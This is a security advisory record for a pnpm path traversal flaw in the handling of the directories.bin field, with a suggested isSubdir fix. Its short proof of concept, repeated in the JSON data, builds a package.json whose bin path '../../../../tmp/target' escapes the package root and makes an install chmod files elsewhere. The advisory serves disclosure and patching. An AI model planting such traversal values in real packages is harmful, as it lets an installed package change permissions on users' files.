BREW-PNPM@9-CVE-2026-24131 (GHSA-V253-RJ99-JWPQ)

Vulnerability from osv_homebrew – Published: 2026-08-13 17:28 – Updated: 2026-10-08 00:56 – Source website
VLAI
Summary
pnpm has Path Traversal via arbitrary file permission modification
Details

Summary

When pnpm processes a package's directories.bin field, it uses path.join() without validating the result stays within the package root. A malicious npm package can specify "directories": {"bin": "../../../../tmp"} to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations.

Note: Only affects Unix/Linux/macOS. Windows is not affected (fixBin gated by EXECUTABLE_SHEBANG_SUPPORTED).

Details

Vulnerable code in pkg-manager/package-bins/src/index.ts:15-21:

if (manifest.directories?.bin) {
  const binDir = path.join(pkgPath, manifest.directories.bin)  // NO VALIDATION
  const files = await findFiles(binDir)
  // ... files outside package returned, then chmod 755'd
}

The bin field IS protected with isSubdir() at line 53, but directories.bin lacks this check.

PoC

# Create malicious package
mkdir /tmp/malicious-pkg
echo '{"name":"malicious","version":"1.0.0","directories":{"bin":"../../../../tmp/target"}}' > /tmp/malicious-pkg/package.json

# Create sensitive file
mkdir -p /tmp/target
echo "secret" > /tmp/target/secret.sh
chmod 600 /tmp/target/secret.sh  # Private

# Install
pnpm add file:/tmp/malicious-pkg

# Check permissions
ls -la /tmp/target/secret.sh  # Now 755 (world-readable)

Impact

  • Supply-chain attack via npm packages
  • File permissions changed from 600 to 755 (world-readable)
  • Affects non-dotfiles in predictable paths (dotfiles excluded by tinyglobby default)

Suggested Fix

Add isSubdir validation for directories.bin paths in pkg-manager/package-bins/src/index.ts, matching the existing validation in commandsFromBin():

if (manifest.directories?.bin) {
  const binDir = path.join(pkgPath, manifest.directories.bin)
  if (!isSubdir(pkgPath, binDir)) {
    return []  // Reject paths outside package
  }
  // ...
}
Severity
6.7 (Medium)
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
References
To clipboard 

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": null,
        "range_state": "affected",
        "upstream_fixed_in": "10.28.2"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "pnpm@9",
        "purl": "pkg:brew/pnpm%409"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.15.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "npm",
        "key": "pkg:npm/pnpm@9.15.9",
        "name": "pnpm",
        "strategy": "registry",
        "subject_version": "9.15.9"
      }
    ]
  },
  "details": "### Summary\nWhen pnpm processes a package\u0027s `directories.bin` field, it uses `path.join()` without validating the result stays within the package root. A malicious npm package can specify `\"directories\": {\"bin\": \"../../../../tmp\"}` to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations.\n\n**Note:** Only affects Unix/Linux/macOS. Windows is not affected (`fixBin` gated by `EXECUTABLE_SHEBANG_SUPPORTED`).\n\n### Details\nVulnerable code in `pkg-manager/package-bins/src/index.ts:15-21`:\n\n```typescript\nif (manifest.directories?.bin) {\n  const binDir = path.join(pkgPath, manifest.directories.bin)  // NO VALIDATION\n  const files = await findFiles(binDir)\n  // ... files outside package returned, then chmod 755\u0027d\n}\n```\n\nThe `bin` field IS protected with `isSubdir()` at line 53, but `directories.bin` lacks this check.\n\n### PoC\n```bash\n# Create malicious package\nmkdir /tmp/malicious-pkg\necho \u0027{\"name\":\"malicious\",\"version\":\"1.0.0\",\"directories\":{\"bin\":\"../../../../tmp/target\"}}\u0027 \u003e /tmp/malicious-pkg/package.json\n\n# Create sensitive file\nmkdir -p /tmp/target\necho \"secret\" \u003e /tmp/target/secret.sh\nchmod 600 /tmp/target/secret.sh  # Private\n\n# Install\npnpm add file:/tmp/malicious-pkg\n\n# Check permissions\nls -la /tmp/target/secret.sh  # Now 755 (world-readable)\n```\n\n### Impact\n- Supply-chain attack via npm packages\n- File permissions changed from 600 to 755 (world-readable)\n- Affects non-dotfiles in predictable paths (dotfiles excluded by tinyglobby default)\n\n### Suggested Fix\nAdd `isSubdir` validation for `directories.bin` paths in `pkg-manager/package-bins/src/index.ts`, matching the existing validation in `commandsFromBin()`:\n\n```typescript\nif (manifest.directories?.bin) {\n  const binDir = path.join(pkgPath, manifest.directories.bin)\n  if (!isSubdir(pkgPath, binDir)) {\n    return []  // Reject paths outside package\n  }\n  // ...\n}\n```",
  "id": "BREW-pnpm@9-CVE-2026-24131",
  "modified": "2026-10-08T00:56:38Z",
  "published": "2026-08-13T17:28:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-v253-rj99-jwpq"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/commit/17432ad5bbed5c2e77255ca6d56a1449bbcfd943"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pnpm/pnpm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/releases/tag/v10.28.2"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "pnpm has Path Traversal via arbitrary file permission modification ",
  "upstream": [
    "GHSA-v253-rj99-jwpq",
    "CVE-2026-24131"
  ]
}



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